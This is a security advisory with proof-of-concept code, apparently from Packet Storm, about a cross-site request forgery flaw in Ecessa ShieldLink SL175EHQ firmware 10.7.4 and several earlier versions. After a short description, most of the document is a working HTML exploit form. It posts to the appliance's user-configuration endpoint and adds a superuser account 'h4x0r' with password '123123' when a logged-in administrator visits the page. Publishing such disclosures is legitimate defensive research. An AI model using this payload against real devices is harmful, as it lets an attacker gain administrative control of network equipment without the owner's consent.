Ecessa ShieldLink SL175EHQ 10.7.4 Add Superuser Cross Site Request Forgery

Ecessa ShieldLink SL175EHQ version 10.7.4 suffers from an add superuser cross site request forgery vulnerability.


MD5 | 8a8c1de2a67b10c2994223ebb10d07b6

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Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit


Vendor: Ecessa Corporation
Product web page: https://www.ecessa.com
Affected version: 10.7.4
                  10.6.9
                  10.7.4
                  10.6.5.2
                  10.5.4
                  10.2.24
                  9.2.24

Summary: Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly
affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN
link.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.35


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5476
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5476.php


21.05.2018

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<html>
  <body>
    <form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST">
      <input type="hidden" name="savecrtcfg" value="checked" />
      <input type="hidden" name="user_username1" value="root" />
      <input type="hidden" name="user_enabled1" value="on" />
      <input type="hidden" name="user_passwd1" value="" />
      <input type="hidden" name="user_passwd_verify1" value="" />
      <input type="hidden" name="user_delete1" value="" />
      <input type="hidden" name="user_username2" value="admin" />
      <input type="hidden" name="user_passwd2" value="" />
      <input type="hidden" name="user_passwd_verify2" value="" />
      <input type="hidden" name="user_delete2" value="" />
      <input type="hidden" name="user_username3" value="user" />
      <input type="hidden" name="user_enabled3" value="on" />
      <input type="hidden" name="user_passwd3" value="" />
      <input type="hidden" name="user_passwd_verify3" value="" />
      <input type="hidden" name="user_delete3" value="" />
      <input type="hidden" name="user_username4" value="h4x0r" />
      <input type="hidden" name="user_enabled4" value="on" />
      <input type="hidden" name="user_superuser4" value="on" />
      <input type="hidden" name="user_passwd4" value="123123" />
      <input type="hidden" name="user_passwd_verify4" value="123123" />
      <input type="hidden" name="users_num" value="4" />
      <input type="hidden" name="page" value="util_configlogin" />
      <input type="hidden" name="val_requested_page" value="user_accounts" />
      <input type="hidden" name="savecrtcfg" value="checked" />
      <input type="hidden" name="page_uuid" value="df220e51-db68-492e-a745-d14adfd2f4fb" />
      <input type="hidden" name="form_has_changed" value="1" />
      <input type="submit" value="Supersize!" />
    </form>
  </body>
</html>

Source: packetstormsecurity.com
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